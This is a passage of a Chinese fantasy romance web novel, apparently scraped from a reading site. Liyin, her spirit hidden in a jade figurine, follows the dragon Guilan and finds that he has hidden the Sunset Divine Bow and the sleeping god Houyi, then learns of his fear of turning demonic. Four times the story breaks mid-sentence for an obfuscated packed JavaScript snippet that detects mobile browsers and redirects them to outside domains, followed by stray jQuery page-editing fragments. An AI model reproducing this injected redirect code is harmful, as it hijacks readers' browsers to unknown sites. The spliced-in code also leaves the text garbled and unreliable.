她自然知道云卿是刻意在拿洞房之事刺激她,她也确实被小小地刺了一下,刺得她立刻就把思绪跳离这个时空,让自己以看待同僚娶妻的心态来看待这件事。 然而思维这么一跳,倒让她猛地想到,摇光神君下凡历劫十次,若次次皆有姻缘在身,岂不是早已是个十婚男…… 璃音默了一默。 十婚男……嗯…… 所以一次洞房有什么好大惊小怪的。 往后最少还有九次呢。 她之前擅自给他安了个“及时行乐大色狼”的设定,这会儿简直是严丝合缝地对上了。 璃音无意识又捏紧腰间那块坠玉,力道大得好似要把那玉雕的郎君捏个粉碎。 归岚感受到少女身子骤然的僵硬,也不难猜出她心事,“要去找他么?” 半晌,没有听到少女的回应,归岚有些担心地勾过头去,温声道:“阿璃,是累了么?今天也找了好久了,要不要先送你回去睡觉?” 应该是身子尚未全可的缘故,璃音还离不得东海冰晶太久,离久了便要犯困,每隔几日,便要回寒冰之上卧躺一阵方可解乏。 璃音回了回神,向归岚笑道:“没事,还不困。” “那要去见他么?我带你过去,很快的。” “人家正忙着洞房花烛呢,我找他做什么,找我们自己的东西要紧。” 归岚乖巧地“哦”了一声,便又转回头去,轻甩龙尾,缓缓游动起来。 璃音松开手中玉坠,想起天上还有位魔尊要赶,便仰颈笑道:“尊上期待了这么久的大婚,不留在那里给新人贺喜,何必巴巴地跑到这无聊的海上来,我与神君已无纠缠,你不必再来试探了。” 便是她之前还对摇光存着一点微末的绮恋,但只要一想到“十婚男”…… “贺喜么?”云卿不知想到什么,又桀桀桀桀怪笑一阵,笑得得意又诡异,“本尊倒确实还给他备了一份厚礼,不过还没到送出去的时候。” “真期待神君收到那份礼物时的样子,毕竟本尊上一次送去的东西,他好像不大喜欢。” 说罢竟仰天大笑起来,那笑声终于不再是故作怪异的桀桀桀桀,倒像真是发自肺腑的愉悦。 璃音只听得那声音渐笑渐远,没一会儿,海面上便又恢复了宁静。 她有些在意云卿口中送过和即将要送给慕璟明的那些“礼物”。 想也知道不会是什么好东西。 他会有危险么…… 随即便又甩甩头,有破军在,自会为他消祸挡灾,何须她来操这份心。 还是赶紧找到落日神弓才是正事。 却不想寻至深夜,灵台中突然毫无预兆地响起一道无声的声音。 “何时回来?” 璃音微怔。 这是主人忙着在享受那一刻便值千金的春宵,没空睬它,它也不好意思黏着那样的主人,又长夜无聊,便来找她唠嗑么? 而且王都和东海相隔万里,破军竟还能与她意念连结,他们之间的感应竟有这么强大么?真是不可思议。 只是这话分明在中秋那日它就已问过一次,璃音也明确给出了答复,不知缘何今天又要来问。 她记得楚作戎留下的那副宴饮图上,嫩柳抽着新芽,莺燕争相啼鸣,公子王孙们都身着春衫,显是个明媚春日,便在上次破军相问时,答了在明年春日回去,只没得到破军回应,兴许是没听见吧。 她便又再一模一样地答了一次。 然而半晌过去,竟如上次一样,破军没有给出任何回应。 好高冷又没礼貌的一柄剑!好歹也要回一声“知道了”吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199476|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 璃音刚腹诽完,却就听见破军的回应传了过来,它说:“好,等你。” 隔了一会,又一道意念传来:“这里桃花开了。” 璃音愣了一愣,这种话题,竟真像在跟她聊天似的。 况且,桃花会开在十月里么? 啊,是会有的。 她蓦地想起,自己初来这个时空便是在十月,按着王都的气候,十月里会有一次回暖,桃李迎着如春软风,便又会再开一次,故而有十月小阳春之说。 但她这会儿正和归岚寻着弓,没功夫陪破军品花闲谈,一时便有些不知如何回复,踌躇一阵,还是把那万能的礼貌用语抛了出来:“知道了。” 顿了顿,终是放不下云卿口中那一份“厚礼”,还是添了一句:“保护好他。” 然后便又没了回应。 哼!没礼貌! 谁知过得半月,在一个深海静谧的寒夜里,破军竟又来问了:“何时回来?” 璃音有点忍无可忍,不是问过两次了么,难道它有健忘症? 但想到回去还要求它办事,她还是忍了,拿出耐心重复道:“明年开春。” 那破剑便又不回应了。 搞什么。 又过半月,夜里破军带着那个老问题又来了:“何时回来?” 怎么像是在催着她回去一样。 璃音回它:“我这里还有些事在办,开春回去。” “好。”这次它倒是很快给出了回应。 以往破军问过一次,便总要隔个半月再来,然而这次之后,隔天夜里破军便又来了,在措辞上也有了细微的变化:“诸事毕否,何日归家?” 不过璃音没太注意这种改变,只算着日子回它:“再有三个多月吧。” “好。”又是这一个字的回复。 自此之后,破军便出现得愈加频繁,每隔三五日,便要将“何日归家”这四个字问上一遍。 到现在,更是每到太阳下山,破军那无声的声音便会在璃音的灵台中准时出现。 但每次得到璃音的答复之后,又只回她一个“好”字。 有种……冷淡的黏人。 璃音也渐渐习惯每日晚霞漫上天空之时,与它聊上这简短的一句。 “今日小雪,何日归家?” “等雪化了,杨柳开始抽芽的时候吧。” “好。” …… “雪化了,何日归家?” “不是光等雪化了,要等杨柳抽芽的时候。” “好。” …… “府中小儿聒噪,甚是难耐,你何日归家?” “他这么快就有孩子了?” “……楚夫人的。” “哦,再有两个月吧。” “好。” 今日因着侯府中小儿聒噪,对话竟破天荒多出了两句。 聊完这两句,璃音便轻轻将脑袋伏去归岚背上,有些困了。 按理说身子该是越养越好,能离开冰晶的时间也该逐日加长,可她不知怎么,最近却是越来越嗜睡了。 “好困……” “要回去睡一会儿么?”归岚停下游动的龙身,轻声问她。 她昏昏欲睡地“嗯”了一声,困得连点头的力气也没了。 可她昨日才刚睡过。 真的是身体乏得想睡么,还是归岚的意志想要她入睡? 而她已困得无力再去分辨,神思一坠,便直直堕入了深眠。 88. 第87章 归岚的秘密 璃音醒来时,归岚正盘着龙身,乖巧地在一边阖眼小憩。 她睁着眼,视线安静地落在他身上,趁此刻神思清明,脑中各种思绪飞快掠过。 她是昆仑山白玉雕就的身子,扛造得很,来时受了破军那样凶猛贯心的一剑,也不过就养了半个多月。与魔尊麾下阴兵在东海海面上的那一战之后,她受伤虽重,但也结结实实睡了两年,醒来那一刻,就该代表养得差不多了,实在没道理又困成如今这样。 只有一种可能,有人不想让她醒。 而这个人,除了归岚和那位一天到晚疯言疯语的云卿,她想不出第三个名字。 会是云卿口中的那份“厚礼”么。 他自然不会放过摇光,但也不会放过她,甚而眼下更叫云卿恨得牙痒痒,想要杀之而后快的人,恐怕是她才对吧。 至于归岚…… 从盛夏到深冬,归岚已在海底陪她寻了小半年的落日神弓,再有两月,东海便要被他们游尽,神弓却依然不见影踪。 难道神弓此时便已不在海底了? 虽有来年春日里王都的那一场宴饮聚会兜底,但璃音还是想尽早掌握到神弓的下落。 大概是蜀娘子那副虚虚实实的画像敲响了她心底警钟,她终归还是觉得,自己不能把赌注完全放在那一场宴会之上。 万一出了意外,神弓没有出现呢?万一那副宴饮图并不是完全的写实,终究带了虚构呢?万一那弓只是与落日神弓长得相像,是仿品,就如同神君的镇宅图像那样,只是人间摊贩上随处售卖的小玩意呢? 带回落日神弓这个任务太过重要,重要到璃音绝不能容许这样的差错出现。 她静静望着归岚,心想,会是归岚不想让她找到这把弓么? 若真是这样,那条隐匿于世的魔龙便是归岚的这个猜想,便有九分是真了。 许是感应到她无声的视线,归岚轻轻掀开了眼皮,看她醒了,立时龙身一晃,化为人形站去榻前,向她温和无害地笑开:“阿璃,睡饱了么,今日准备什么时候出发?” 璃音看着这样的他,多么希望方才的那个猜想不要是真的。 但她从来就不是个赌徒,她必须万无一失。 她心里很快便有了计较。 她也向归岚笑,只是笑得没什么力气:“还是有点累,想歇一天。” 归岚一怔,道:“睡醒了还累么?” 随即俯身过来,脸上满是藏不住的担忧:“可是哪处的旧伤复发了,我去给你寻些灵药灵草来。” 说着便急急地化龙而去了。 见他如此关切的模样,璃音一颗心却终于沉到了底。 果然是他。 只因这一次自己不是按着他心意犯困,所以他担心了。 璃音默然片刻,解下腰间莹透玉琢的小人,单手叩诀,自灵台中极其小心地抽出一缕神识,团于掌心,附玉而上,再封了神息,叫旁的灵识无法探查。 做完这些,她凝目瞧了会手中神姿英朗的玉郎君,除了顶上发带成了玉冠,其余便与她之前雕刻的那个芋郎君再无二致。 只是这小小一处不同,却叫她不由得生出这样一个古怪的念头:这个小玉人,只是此处人间里的慕小侯爷,不是天上那位神君。 走过初来那段时日之后,她就很少再把慕璟明和摇光分割开来看待了。 本来就是分割不开的两个人,是同一抹薄情桀骜、不屑俗尘的神魂,然而在这一眼中,却又莫名被这袖珍的发冠分割开了一瞬。 她将玉郎君系回腰间,看归岚揣了一堆大补的灵药回来,忙前忙后地捣弄药材,端茶递水,问暖嘘寒,又守在榻前给她喂药,活像个殷勤侍疾、能载入孝史的大孝子。 璃音心念一动,神识顺着心链悄无声息地探了探,果然探出他此刻满心的忧切惶急。 魂链能让连结的两人神魂相通,魂令是单向的,感应却不是,只要她想,归岚的任何心绪便逃不过她眼底。 可探出他这份无法作伪的关切后,璃音反而更不明白了,既是真心实意关心她,把她当做家人,又为什么要一而再、再而三地欺骗她呢? 家人之间,是允许这样的欺骗存在的么? 先是趁她昏迷,偷偷给她种下魂链,又是私自按下她写给慕璟明的信件,现在呢,这一次又会是什么惊天动地的大秘密? 好在她马上就会有答案了。 * 一连装了三日的病,璃音也真装得有些累了,估摸着差不多到了归岚要她下一次犯困的日子,便伸个懒腰,跳下冰床,拍拍大孝子归岚的肩膀,吩咐他可以开始今日的行程了。 果然行不过两日,无边困意便再一次席卷而至。 “归岚,好困……” 璃音探手握住腰间的玉郎君,便放任自己睡了过去。 龙背上的少女很快便陷入了沉眠,少女腰间一枚人形玉坠却闪过一抹微不可见的青光,悄悄醒了过来。 璃音是在玉身里待惯了的,人间凡玉虽比不上昆仑山上的仙玉,但权且寄居一阵,还是没什么没问题。 她试着抬抬手,又踢踢腿,只觉行动处全无滞涩,畅快自如。 想到自己此刻用的是神君的身形样貌,外人看来,便是个袖珍的神君模样。忽地玩心大起,将衣摆像裙摆那样提起,转个圈,劈个叉,又手捧了会儿腮,捏捏鼻子,揉揉脸,故意做些神君决计做不出的姿势来,越玩越觉乐不可支,又玩一会,便就忍不住眉眼一弯,笑了。 而这时归岚也已将她带回了寒冰之上,璃音忙停下动作,屏气凝神,就直挺挺地扮作一个小小的玉人,留心观察归岚此后的动作。 只见归岚化出人身,轻柔地放她躺下,便就静站在冰榻之前,望着她发呆。 这便是每次她睡着后,归岚要做的事么? 璃音总觉得不该是这么简单。 于是再次将神识静悄悄附上心链,蹑手蹑脚,往归岚心底探去。 这一探,却叫她微茫的这一抹神魂剧震,躁意狂涌,青玉雕出的小人霎时浑身泛出红光,竟被顺着魂链反震而来的无边戾气染作了一块血玉。 幸而玉坠被少女的衣裙掩住大半,归岚又正自与心底躁动难抑的血戾之气做着搏斗,无暇顾念别事,才没叫他发现了去。 没过多久,归岚低低发出一声闷哼,痛苦地一阖眼,再睁开时,原本清澈的瞳仁之下已洇开一抹浓艳血色。 “爹……娘……”他缓缓俯身,去看少女安睡的侧脸,像是憋久了,眼泪决堤一般,终于一颗一颗无助地往下砸落,“孩儿不想变成那样,爹都办不到的事,孩儿怎么办得到,爹,你能不能告诉孩儿,孩儿该怎么办,如今阿璃来了,孩儿不想死,孩儿到底该怎么办……” 恐惧、哀痛、绝望、不甘……汹涌的情绪沿着魂链,如海潮般向璃音涌来。 原来他独自一人时,都是在承受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222828|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些吗? 原来他迫她入睡,只是真的游得累了,压不住的躁戾翻涌上来,于是想要像这样停下来好好哭一场,想要一口喘息的时间吗? 他原来是在害怕,害怕会变成和他父亲一样的魔龙。 而没有人比璃音更清楚,按归岚现在的状态,这一天也确实迟早会到来的。 归岚和她,谁都逃不过这一天的到来。 只是她仍感到有些奇怪。 猰貐神尊是因吞食了遭到玉横污染的不死药,魔气入体,才失了神智,由神入魔的。 而她也是因着常年与玉横相伴,魔气侵蚀,心魔渐生,最终神思迷乱,浑浑噩噩,闯下大祸。 可以说他俩最后落得那样的下场,都是拜玉横所赐。 但归岚又是怎么回事? 这一份潜伏在他们体内的嗜血躁动,她与归岚,究竟是谁在影响着谁? 归岚伏在她身边哭了很久,可眼泪并不能帮他褪去心底那份躁意,他慢吞吞直起身子,又盯了半晌少女安静的睡颜,最终闭了闭眼,轻声道:“阿璃,我出去一下。” 便就转身化龙。 而少女腰间仅有三寸的小小玉人奋力一跃,便无声无息地攀住巨龙一根长长的龙须,藏身其上,这样的小人于庞大的龙身而言,便像粘上了一粒虾米,巨龙自是毫无察觉,龙尾一甩,便带着躲在玉中的璃音,向深海疾游而去。 璃音一直知道归岚在这海中藏着秘密,也知道他将这秘密藏得极深,现下便自然而然地认为他必定要游上好一会儿,自己也一定会被他带至某处极远极隐蔽的大海深处了。 然而归岚几乎只游动了一息,便即停身。璃音荡秋千一般荡在他的龙须上,没想到只荡了两下,“秋千”便就停住不动了。 他的秘密,一直以来竟就藏得离她这样近么? 察觉到魂链另一端的戾意在飞速消退,璃音微微一愣。 在有关“归岚便是魔龙”的这个设想中,她对于归岚痛苦万分也要瞒着她藏下的秘密,自然也做过许多相应的预设。譬如他会寻一处无人的海域彻底放纵、恣情猎杀,又譬如他为了隐蔽,干脆在海底某处豢养了一群可以供他肆意残虐、噬魂饮血的“猎物”。 可眼下他还没开杀,情绪竟已平复了大半,难道他偷偷藏在此处的不是“猎物”,而是……药? 璃音实在好奇,忙轻手轻脚地拨开龙须,正要向外张去,却只觉一阵天旋地转,是龙身盘绕着什么东西动了起来。璃音立马拽进手中龙须,唯恐坠了下去。 而就在这一阵颠来晃去中,璃音偶一瞥眼,透过被海水漾得时拢时疏的这撮龙须,竟瞥见了一抹弯形的淡红。 她几乎要惊叫出声。 是落日神弓! 神弓果然是被他藏起来了! 弓身被冻在一块巨大的方形冰晶里面,那寒冰看似透明,但在它一层又一层的厚厚裹覆之下,也足以叫那烈焰般的赤红淡成一抹褪色般的浅脂,若不是璃音这半年来几乎时时刻刻都在脑中描摹着那神弓的形状,也绝不能一眼就将它认了出来。 而她还来不及再反应什么,就感觉身子一滞又再一晃,她看见归岚赤红着眼,张开巨口,粗厚的龙舌迅猛探出,便要冲被他盘住身子那人的脑袋咬下。 原来他刚才绕身盘附的是一个人,而璃音往下一看,就看到了一张熟悉的脸。 她再顾不得隐藏身形,失声惊呼:“归岚!不要!” 89. 第88章 几乎就在璃音惊叫出声的同一时刻,归岚硕大的龙舌一卷,粗粝舌面就温柔舔舐上了那人流血的伤口。 诶? 璃音愣住。 原来归岚不是要吃了那人,而是在……为他舔伤止血么。 她又模模糊糊记起自己重伤昏睡时,手上伤口处偶尔传来的那种涩粝厚软的质感。 难道那也是归岚? 他就是如同现在一样,用龙身圈护着她,为她舔舐伤口的么。 而在璃音愣住的同时,归岚也在那一道惊惶疾呼声中,直愣愣地呆了一呆。 什么声音? 他茫然地收回舌头,合拢嘴巴,龙头转动,上下左右都看了一圈,最后终于在随水流轻晃漂浮至自己眼前的一根龙须之上,看到了一个小小的、碧玉雕出的小人。 这是一个男人。 可一个男人的身子,怎么适才喊出来的,却又是个女人的声音? 而且这男人的相貌和声音怎的都如此熟悉,只是却各熟各的,那脸是早就看熟了的,那嗓子也是日日听惯了的,但像这样合在一处,却又叫他怎么也摸不着头脑。 于是一条足有丈长的巨大青龙,和一个只有三寸大小的袖珍玉人,同时一个呆愣,并实现了真正的大眼瞪小眼。 归岚眨了眨它那两颗巨珠一般的龙眼,半晌,巨大的龙首往偏里稍稍一歪,终是不确定地喊出一声:“阿璃?” 困惑来得太过突然和强烈,以至于在他这苦藏良久的惊天大秘密暴露的这惊险一瞬,惊惶、羞愧、无措、尴尬……设想过的诸般情绪根本没来得及冒头,就悉数消解在了这片迷茫的怔愣之中。 璃音也眨了眨她此刻只有米粒大的小眼,良久,终是伸手一指,指向归岚已然合上了的嘴巴,也是万般茫然道:“你这个能镇痛止血?” 迷糊睡着的那两年,在她不甚清醒的记忆中,每每自己伤口发痛,这玩意就会舔上来,像在伤口上磨砂,然后她就更痛了。但若非要说镇痛也是没错,因为更痛之后,便是痛到麻木,痛到晕厥,人一晕,自然就感觉不到痛了。以痛止痛,那也是止住了。 归岚显然尚在呆愣之中,他又眨巴了下眼睛,迷迷瞪瞪地答:“不太清楚,但我每次受伤,我娘都会这样舔我。” 璃音在脑中将龙涎的种种功效都过了一遍,又看一眼被龙身牢牢圈住、陷在沉睡之中的后羿神君,眼尾隐隐抽动了下,有些欲言又止地动了动唇。 她深深吸气,用力闭了闭眼,像在努力平复着什么心绪,静默半晌,又睁开,开口时,语气总算平稳:“你这样舔他多久了?” 这次归岚不眨眼了,他一瞬不瞬地望着眼前分明是摇光神君的模样、却附着了璃音神魂的玉雕小人。只是小人实在太小,比一尾小虾也大不了多少,那脸上一连串动作神情的百转千回,归岚那双比球还大的眼睛却愣是没能瞧明白一点。 他听璃音发问,便就偏着大大的龙首,老老实实计算了下日子,又再老老实实地回答:“快有二十年了吧,他比你早十几年掉下来的,不过恢复得没你好,一直以来都没有醒过。” 说着莫名现出淡淡骄傲的神色,对她夸赞起来:“阿璃,我之前就与你说过,你伤势恢复的速度惊人,两年就能醒,当真是极厉害的。” 璃音闻言又闭了下眼,试图压一压不受控制乱跳的眉心,却是无论如何也压不下去,她默然一息,有点想哭,又有点想笑,最后终于抬手扶额,哭笑不得地道:“归岚,你有没有想过……” “如果不是你一直把我的伤口舔开,我可能真的只要两个月就醒了。” 她通晓医理,最了解自己身体的极限在哪,那时她一心渴念着还要回去见到慕璟明,求生的欲望极强,她坠海时,估摸自己会睡上两个月,那时限也不是她力竭急坠时胡乱生出的愿盼,而是咂摸着自己的身体状况,精精确确给自己下的一份诊断。 如果她不是在这幽暗无尽的海底昏睡了整整两年,如果她真能按时醒来,在两个月后就回去了慕璟明身边…… 玉雕小人细白的指骨骤然捏紧,半晌,迎着归岚那隐隐察觉自己好像做了错事、却又不知错在何处的小心懵懂的眼神,又终是无力地松开。 她心中怎么可能没有不甘。 就因为这多出来的两年,她错过了那个生平第一次叫她心动到难以自抑的少年,那个少年娶亲了,他成了别人的丈夫,他暖烈炙灼的目光追去了别个姑娘的身上,再不会分她一眼。 那本该是属于她的少年。 遗憾,那种仅仅只是差了一步、便永远错失了的遗憾,要她怎么释怀。 不能释怀。 永远都不能释怀了。 承认吧。 她就是在嫉妒。 嫉妒着那位拥有了她的少年的姑娘,嫉妒得整颗心都在发胀。 让自己变忙,刻意不再去想他,努力装得平静,说什么不喜欢了,放下了,说什么以后就当归位后的他是能点头问好的同僚,不过都是在骗自己。 否则又为什么要把这玉郎君捡回来。 她还是想要他,想要牵他的手,想要摁着他亲,听他动情难耐地唤她一声“阿璃”。 原来她竟是这样心地丑恶的人吗。 她怎么会变成如今这副丑陋至极的模样的。 不,她本就是这样的,她本就不是个善良无暇的好姑娘。她发过魔,杀过人,手上沾过无数无辜之人的鲜血。 那样清澈明亮的少年,不是她重生一次,跨着时空,偷偷掩埋掉那些过往,就配得到的。 他一身皎澈,终得良缘。 他配得上世上最好的姑娘。 那位好姑娘也必然配得上他。 只有她,藏着满身污浊,一只脚陷在无边地狱里面,什么也不配得到。 况且现在再来计较这些又还有什么用。 无论什么原因,是她先迟到了,是她拱手送出了两年的时光,而这就是对她迟到的惩罚。 耳边,只听归岚低低怯怯地开了口:“我这样舔你们是不好的吗?” “对不起,阿璃,我不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244420|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我真的不知道……”泣音慌张地缠上颤抖的字句,终于意识到自己做错了什么的归岚,霎时陷入到了巨大的无措之中,“只是每次我娘这样舔我,我就不痛了,我就以为这样也能让你们少痛一点,我只是太想你们醒过来了。” 璃音看着这样的归岚,轻叹一声,向他靠近了些。 纵使心里有再多的不甘,再多的贪恋,再多的不舍,但错过了便是错过。她或许做不到释怀,但那也都是她自己的事,不过是一件会和许多难过的过往一样,被她偷偷埋藏在心底最深处的心事。而对于这样一个已成定局的结果,她不会过多抱怨,只会平静地接受。 她还是一如既往,不怨天,不尤人,只怨自己。 至于自己由此生出的那些不堪又卑劣的情绪,便由自己独自咽下就好。 幸好,这是她早就做惯了的事。 所以她并未因此事而过多地责怪归岚。 至少这一次因为有了归岚,她没有再像前世那么孤单了。 但他把她当猴耍,私藏后羿神君和落日神弓这件事,可别想她能轻飘飘地揭过。 “为什么要瞒着我把他们藏起来?” 她用小手狠狠拽一把他的龙须,然而杀伤力基本就等同于蚊子腿在他身上挠了一下。 “我……我……”归岚厚厚的眼皮半垂,像个犯了错被长辈抓包的孩子。 璃音小小的碧玉胳膊往不远处的神弓一指,语气微恼:“你明知落日神弓的下落,却还一日日溜来晃去地耍我,看我的笑话,看我一无所知,整日里没头苍蝇一样在海底乱寻,很有意思,很好玩么。” “不是的,阿璃,我绝没有耍弄你的意思。” 归岚急得化出人形,将漂浮在透明海水中的三寸小人轻轻托去掌心。 此刻,他眼底嗜血的赤红已然散尽,只蓄满了这份嗜血渴望即将被少女发觉的惶然。 他想恳求少女不要再追问了。 这样可怕的秘密,他真的不想,也不能被她发现。 否则在阿璃眼中,他就不再是一个好孩子了。 虽然之前他也对她做了一些错事,可那与真正变成一个残戾嗜血的魔鬼还是不同的,这是他最痛恨的魔,是真正原始的恶。 拥有这样的恶的孩子,是要被放逐的,是没有资格再得到长辈们的喜爱的。 璃音静静感受着魂链那端纠结凄苦的情绪,竟忽地哑然失笑。 看吧,她果然不再孤单了啊。 因为他与她,正陷在同一所地狱里面。 只是他尚未死心,还在试图寻找一点光亮与出口,而她独自一人寻了三百多年,已比他更早地明了,那是根本寻不到的东西。 他们的渴血之症,他们最终的魔化,是注定会发生的,是无药可救的,是除了趁着爆发前赶紧去死,没有第二个法子可以解决的。 既然归岚没有勇气将这个藏在心底最深处的隐秘说出口,那么便由她来挑明吧。 “归岚。”璃音抬眸,平静地注视着他,“你杀过人了吗?” 90. 第89章 真相即是死局 璃音这一问,并非是要审判归岚什么。 魔气侵体,无法可施,无药可救,自此便是踏入了一个死局,要么去杀死别人作恶,要么作恶后被人杀死。 她比任何人都更清楚这一点。 她只是想知道,归岚如今,到了哪一步了。 有没有杀过人,这就是一道线,一道泾渭分明的线,一旦跨过这条线,便是彻彻底底的万劫难复,但这样犯了杀戒的罪人,要解决起来,反而也就容易。 既是罪人,处死,便就可以了。 真正难办的,是心未染尘,手未沾血,却注定只能步步沦陷,注定要在未来某个时刻犯下滔天罪孽的人。 这样的人,你无论说他该死,还是说他不该死,都能找到充分的理由去支撑那种说法。而无论如何决断,这世上,都一定会有无辜之人因此死掉。 还是那句话,这是一个死局,一个总有人要死在这里面的局。 璃音身处这场局中已久,倒是没有过多纠结,当那一刻来临,让谁活着,由谁去死,她心中早有决断。 那么归岚呢,他又会做出怎样的选择? 面对璃音尖刻的提问,归岚一怔之后,便是拼命摇头,急道:“没有的,我从来没有!” “我没有杀过人,虽然那种想法时常会冒出来,但我都控制住了,阿璃,你相信我!”他用从未有过的高声,向璃音急切地解释着。 “我相信你。” 璃音顺着魂链感知他的心绪,知道他没有说谎。 归岚没有杀人,没有跨过那条线,脚踩着地狱要坠不坠,但他尚在人间。 这本该是个能叫人松一口气的好消息,可璃音望着归岚因着她一句相信,便彻底柔软下来,几近盈泪的眸光,却忽地撇开了眼,不忍再看。 他还没落到最坏的那个地步,这是好事,可这也就意味着,那个残忍的选择,那个无可奈何却又不得不做的决断,如今要轮到归岚来做了。 是就这样疯掉,等待处决,还是趁着清醒,体面赴死。 而看他藏匿神弓的举动,璃音不由得在想,或许他选择了第三条路。 在疯掉之前,藏起唯一能杀死他的武器,然后肆无忌惮地去当他的魔龙。 如此,便与她之前关于魔龙的种种设想与担忧都对上了。 但偏又有最要紧的一处,却是无论如何也对不上。 在她的推想中,魔龙要藏起神弓,是建立在它有不死之身这个结论的基础上的,否则藏了这一把弓,世间还有千千万万能杀死他的神器,难道都要藏起来不成。 可是归岚……不死之身? 璃音重新对上归岚水澈的目光,用无比认真的语气问他:“归岚,你知道自己的这些症状,是怎么来的吗?” 归岚的眸色便又沉黯下去,他静默片刻,缓缓摇了摇头,道:“或许是诅咒吧,是我们神龙一族的诅咒。” “诅咒?” “嗯,爹突然失了神智的时候,我和娘就四处探查过那邪性的源头,可总也找不出原因,慢慢地,族中就有人传起一种说法,说那是中了某种诅咒。” 听到这里,璃音也算明白了一件事,原来不止九重天上的神仙们不晓得猰貐神尊入魔的原由,便是归岚,也是不知情的。 看来,此时的玉横还未在天宫众人的眼皮子底下展露邪性,只云卿或是敏锐,或是机缘巧合,察觉到了这葫芦的不寻常,偷着拴来用了一用,因此根本没人会把猰貐神尊的突然疯魔,同一个用来盛装不死药的小葫芦联系在一处。 她原还奇怪,归岚一个龙族的小神君,修行的天赋都在御水一道上,怎么会突发奇想,去修习八竿子打不着的魂术,还修出了魂链的? 魂链是何等难修的东西,就她所知,当世把这个东西修成了的,她自己算一个,魔尊云卿算一个,再剩下一个便是归岚了。 在修行这件事上,有着非常残忍的一点,便是越往上修,越吃天赋,天赋是远远大于努力的,所以一开始在选择要修的道时,便要慎之又慎,尤其像他们这种神族,在修行上有些追求的,更是懂得要摸着天赋,研定道途,绝不会由着性子或是一时的兴趣胡来。 她和云卿不必说,努力自然是有的,但于魂术一道上的天赋也是摆在那里的。 而归岚,他的天赋分明在海里,要什么样的动力、毅力和努力,才能叫他把魂术修到如此程度。 但如今她全都明白了,诅咒往往牵扯着魂术,他是为了寻找父亲入魔的真相,也为了斩断这无端降在了神龙一脉上的诅咒,才这样以生来御水的蛟龙之躯,苦修魂术,只为能在茫茫术法中,为父亲、为族人、也为自己,找到一个答案。 可惜根本就没有什么诅咒,他要找的答案也从来都不在魂术之中。 “归岚,你还记得么,我曾说我见过猰貐神尊,说他也不算真的死了,他自有他的归宿。” 璃音叹息一声,摊开玉刻的手掌,五指微动,状似蹁跹,一团幽绿色的光晕旋即在她掌心亮起,那里面包裹着的,是她自猰貐神尊的残碎神识中探出的所有记忆,以及他们在万壑千山图中的那一场对谈,是归岚苦苦追寻了百年的真相。 现在,她决定要把这份真相给他。 “阿璃……” 同是修习过魂术的人,归岚自然认得那是什么,渴求了多年的答案就在这小小的青绿光团之中,他浑身都在颤抖,却又极力克制,阖上双眼,静静等待它的到来。 璃音反手一挥,那光团便脱离手掌,向着归岚额心轻灵地一跃一闪,就隐入了龙族小神君浩渺无际的识海之中。 霎时间,大团不属于自己的记忆奔袭而至,归岚双眸紧闭,只剩下纤薄的睫羽震颤不止,涌流不息了千万年的海水都在他周身停滞,一时间,深流渊静,旷海无声,光团却在识海之中肆意轰炸,炸出一阵又一阵的骇浪惊涛。 归岚闷哼一声,面色骤然煞白,呼吸变得急而短促,眉心也不堪承受地拧蹙起来,待残虐的光团终于散尽,识海早已被炸作一片千疮百孔的废墟。 心中酸楚与相思撕裂翻绞,良久,他眼皮一阵轻颤,微睁开眼,就见着掌心的三寸小人,终是再难克抑,低低用泣声唤出一句:“爹……” 一滴清泪无声落下,但很快就被他用一只手背抹去,他没忘记对阿璃的承诺,他是不能在她面前哭的,那样会惹她心烦。 “想哭就哭吧。”璃音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262216|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力伸出小小的手心,攥上归岚挑在额前的那一缕须发,轻柔地拽了拽,安抚的意味明显,“你看,我没骗你,你爹一直记挂着你的,你现在也知道了,没有什么诅咒,也不是神尊坏了心思,自己要入魔,他只是运气不好,但他也走得很坦然,他没有恨过后羿神君,比起丧失神智,浑噩吃人地活着,他也宁可早日解脱在神君箭下,如今安居画中,也算求得一份安宁。” 